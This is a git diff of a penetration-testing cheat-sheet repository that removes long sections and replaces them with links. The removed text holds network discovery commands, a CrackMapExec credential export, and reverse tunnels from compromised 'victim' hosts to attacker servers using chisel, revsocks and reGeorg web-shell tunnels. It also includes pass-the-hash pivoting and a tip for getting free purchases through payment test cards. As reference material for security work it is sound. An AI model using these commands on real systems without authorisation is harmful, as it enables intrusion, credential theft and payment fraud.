alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none"'
then launch Burp with : java -jar burpsuite_free_v*.jar &
```
* [WAHH Task Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
* Subscribe to the site and pay for the additional functionality to test
* Launch a Nikto scan in case you missed something
```powershell
nikto -h http://domain.example.com
```
* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
Test card numbers and tokens
| NUMBER | BRAND | TOKEN |
| :------------- | :------------- | :------------- |
| 4242424242424242 | Visa | tok_visa |
| 4000056655665556 | Visa (debit) | tok_visa_debit |
| 5555555555554444 | Mastercard | tok_mastercard |
International test card numbers and tokens
| NUMBER | TOKEN | COUNTRY | BRAND |
| :------------- | :------------- | :------------- | :------------- |
| 4000000400000008 | tok_at | Austria (AT) | Visa |
| 4000000560000004 | tok_be | Belgium (BE) | Visa |
| 4000002080000001 | tok_dk | Denmark (DK) | Visa |
| 4000002460000001 | tok_fi | Finland (FI) | Visa |
| 4000002500000003 | tok_fr | France (FR) | Visa |
## References
* [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)

View File

@@ -1,27 +0,0 @@
# Miscellaneous & Tricks
All the tricks that couldn't be classified somewhere else.
## Send a message to another user
```powershell
# Windows
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
# Linux
$ wall "Stop messing with the XXX service !"
$ wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
$ who
$ write root pts/2 # press Ctrl+D after typing the message.
```
## CrackMapExec Credential Database
```ps1
cmedb (default) > workspace create test
cmedb (test) > workspace default
cmedb (test) > proto smb
cmedb (test)(smb) > creds
cmedb (test)(smb) > export creds csv /tmp/creds
```

View File

@@ -1,201 +1,14 @@
# Network Discovery # Network Discovery
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/network-discovery](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/)
- [Nmap](#nmap) - [Nmap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#nmap)
- [Spyse](#spyse) - [Network Scan with nc and ping](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#network-scan-with-nc-and-ping)
- [Masscan](#masscan) - [Spyse](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#spyse)
- [Netdiscover](#netdiscover) - [Masscan](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#masscan)
- [Responder](#responder) - [Netdiscover](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#netdiscover)
- [Bettercap](#bettercap) - [Responder](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#responder)
- [Reconnoitre](#reconnoitre) - [Bettercap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#bettercap)
- [References](#references) - [Reconnoitre](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#reconnoitre)
- [SSL MITM with OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#ssl-mitm-with-openssl)
## Nmap - [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#references)
* Ping sweep (No port scan, No DNS resolution)
```powershell
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
-sn : Disable port scanning. Host discovery only.
-n : Never do DNS resolution
```
* Basic NMAP
```bash
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
```
* CTF NMAP
This configuration is enough to do a basic check for a CTF VM
```bash
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result
```
* Aggressive NMAP
```bash
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
```
* Using searchsploit to detect vulnerable services
```bash
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
```
* Generating nice scan report
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* NMAP Scripts
```bash
nmap -sC : equivalent to --script=default
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /.git/HEAD: Git folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
| METASPLOITABLE\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| METASPLOITABLE\bin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| METASPLOITABLE\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
List Nmap scripts : ls /usr/share/nmap/scripts/
```
## Spyse
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
#### Searching for subdomains
```bash
spyse -target xbox.com --subdomains
```
#### Reverse IP Lookup
```bash
spyse -target 52.14.144.171 --domains-on-ip
```
#### Searching for SSL certificates
```bash
spyse -target hotmail.com --ssl-certificates
```
```bash
spyse -target "org: Microsoft" --ssl-certificates
```
#### Getting all DNS records
```bash
spyse -target xbox.com --dns-all
```
## Masscan
```powershell
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services information
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services information
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
```
## Reconnoitre
Dependencies:
* nbtscan
* nmap
```powershell
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick
```
If you have a segfault with nbtscan, read the following quote.
> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
## Netdiscover
```powershell
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
```
## Responder
```powershell
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
responder.py -I eth0 -wrf
```
Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
## Bettercap
```powershell
bettercap -X --proxy --proxy-https -T <target IP>
# better cap in spoofing, discovery, sniffer
# intercepting http and https requests,
# targetting specific IP only
```
## References
* [TODO](TODO)

View File

@@ -1,458 +1,29 @@
# Network Pivoting Techniques # Network Pivoting Techniques
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/redteam/pivoting/network-pivoting-techniques](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/)
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding) - [SOCKS Compatibility Table](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-compatibility-table)
* [SSH](#ssh) - [Windows netsh Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#windows-netsh-port-forwarding)
* [SOCKS Proxy](#socks-proxy) - [SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ssh)
* [Local Port Forwarding](#local-port-forwarding) - [SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-proxy)
* [Remote Port Forwarding](#remote-port-forwarding) - [Local Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#local-port-forwarding)
* [Proxychains](#proxychains) - [Remote Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#remote-port-forwarding)
* [Graftcp](#graftcp) - [Proxychains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#proxychains)
* [Web SOCKS - reGeorg](#web-socks---regeorg) - [Graftcp](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#graftcp)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci) - [Web SOCKS - reGeorg](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---regeorg)
* [Metasploit](#metasploit) - [Web SOCKS - pivotnacci](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---pivotnacci)
* [sshuttle](#sshuttle) - [Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#metasploit)
* [chisel](#chisel) - [sshuttle](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sshuttle)
* [SharpChisel](#sharpchisel) - [chisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#chisel)
* [gost](#gost) - [SharpChisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sharpchisel)
* [Rpivot](#rpivot) - [gost](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#gost)
* [RevSocks](#revsocks) - [Rpivot](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#rpivot)
* [plink](#plink) - [RevSocks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#revsocks)
* [ngrok](#ngrok) - [plink](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#plink)
* [Basic Pivoting Types](#basic-pivoting-types) - [ngrok](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ngrok)
* [Listen - Listen](#listen---listen) - [Capture a network trace with builtin tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#capture-a-network-trace-with-builtin-tools)
* [Listen - Connect](#listen---connect) - [Basic Pivoting Types](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#basic-pivoting-types)
* [Connect - Connect](#connect---connect) - [Listen - Listen](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---listen)
* [References](#references) - [Listen - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---connect)
- [Connect - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#connect---connect)
## Windows netsh Port Forwarding - [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#references)
```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
# Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
```
1. listenaddress is a local IP address waiting for a connection.
2. listenport local listening TCP port (the connection is waited on it).
3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport is a TCP port to which the connection from listenport is forwarded to.
## SSH
### SOCKS Proxy
```bash
ssh -D8080 [user]@[host]
ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```
Cool Tip : Konami SSH Port forwarding
```bash
[ENTER] + [~C]
-D 1090
```
### Local Port Forwarding
```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```
### Remote Port Forwarding
```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```
## Proxychains
**Config file**: /etc/proxychains.conf
```bash
[ProxyList]
socks4 localhost 8080
```
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
## Graftcp
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
```ps1
# https://github.com/hmgle/graftcp
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```
Simple configuration file for graftcp
```py
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1
## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD
## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```
## Web SOCKS - reGeorg
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
Drop one of the following files on the server:
- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp
```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
```
## Web SOCKS - pivotnacci
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
```powershell
pip3 install pivotnacci
pivotnacci https://domain.com/agent.php --password "s3cr3t"
pivotnacci https://domain.com/agent.php --polling-interval 2000
```
## Metasploit
```powershell
# Meterpreter list active port forwards
portfwd list
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add l 3389 p 3389 r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete l 3389 p 3389 r target-host
# Meterpreter delete all port forwards
portfwd flush
or
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a # (deprecated)
# Meterpreter list all active routes
run autoroute -p
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
```
## Empire
```powershell
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
```
## sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
* Doesn't require admin.
* Works with Linux and MacOS.
* Supports DNS tunneling.
```powershell
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24
# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24
```
## chisel
```powershell
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```
### SharpChisel
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
```powershell
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
```
## Ligolo
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
1. Build Ligolo
```powershell
# Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
# Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com
make build-all
```
2. Use Ligolo
```powershell
# On your attack server.
./bin/localrelay_linux_amd64
# On the compromise host.
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
```
## Gost
> Wiki English : https://docs.ginuerzh.xyz/gost/en/
```powershell
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build
# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
```
## Rpivot
Server (Attacker box)
```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```
Client (Compromised box)
```python
python client.py --server-ip <ip> --server-port 9443
```
Through corporate proxy
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```
Passing the hash
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```
## revsocks
```powershell
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
```
```powershell
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```
## plink
```powershell
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
```
## ngrok
```powershell
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm
# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
```
## cloudflared
```bash
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```
## Basic Pivoting Types
| Type | Use Case |
| :------------- | :------------------------------------------ |
| Listen - Listen | Exposed asset, may not want to connect out. |
| Listen - Connect | Normal redirect. |
| Connect - Connect | Cant bind, so connect to bridge two hosts |
### Listen - Listen
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
| socat | `socat -v tcp-listen:8080 tcp-listen:9090` |
| remote host 1 | `ncat localhost 8080 < file` |
| remote host 2 | `ncat localhost 9090 > newfile` |
### Listen - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat localhost -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
### Connect - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat -l -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
## References
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* 🇫🇷 [Etat de lart du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)

View File

@@ -1,673 +1,37 @@
# Office - Attacks # Office - Attacks
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/office-attacks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/)
* [XLSM - Hot Manchego](#xlsm---hot-manchego) - [Office Products Features](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-products-features)
* [XLS - Macrome](#xls---macrome) - [Office Default Passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-default-passwords)
* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter) - [Office Macro execute WinAPI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-macro-execute-winapi)
* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut) - [Excel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#excel)
* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec) - [XLSM - Hot Manchego](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlsm---hot-manchego)
* [DOCM - Metasploit](#docm---metasploit) - [XLS - Macrome](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xls---macrome)
* [DOCM - Download and Execute](#docm---download-and-execute) - [XLM Excel 4.0 - SharpShooter](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---sharpshooter)
* [DOCM - Macro Creator](#docm---macro-creator) - [XLM Excel 4.0 - EXCELntDonut](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---excelntdonut)
* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro) - [XLM Excel 4.0 - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---exec)
* [DOCM - VBA Wscript](#docm---vba-wscript) - [SLK - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#slk---exec)
* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment) - [Word](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#word)
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task) - [DOCM - Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---metasploit)
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) - [DOCM - Download and Execute](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---download-and-execute)
* [DOCM - winmgmts](#docm---winmgmts) - [DOCM - Macro Creator](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---macro-creator)
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) - [DOCM - C# converted to Office VBA macro](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---c-converted-to-office-vba-macro)
* [DOCM - BadAssMacros](#docm---badassmacros) - [DOCM - VBA Wscript](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-wscript)
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) - [DOCM - VBA Shell Execute Comment](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-shell-execute-comment)
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) - [DOCM - VBA Spawning via svchost.exe using Scheduled Task](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-spawning-via-svchostexe-using-scheduled-task)
* [VBA Obfuscation](#vba-obfuscation) - [DCOM - WMI COM functions (VBA AMSI)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---wmi-com-functions)
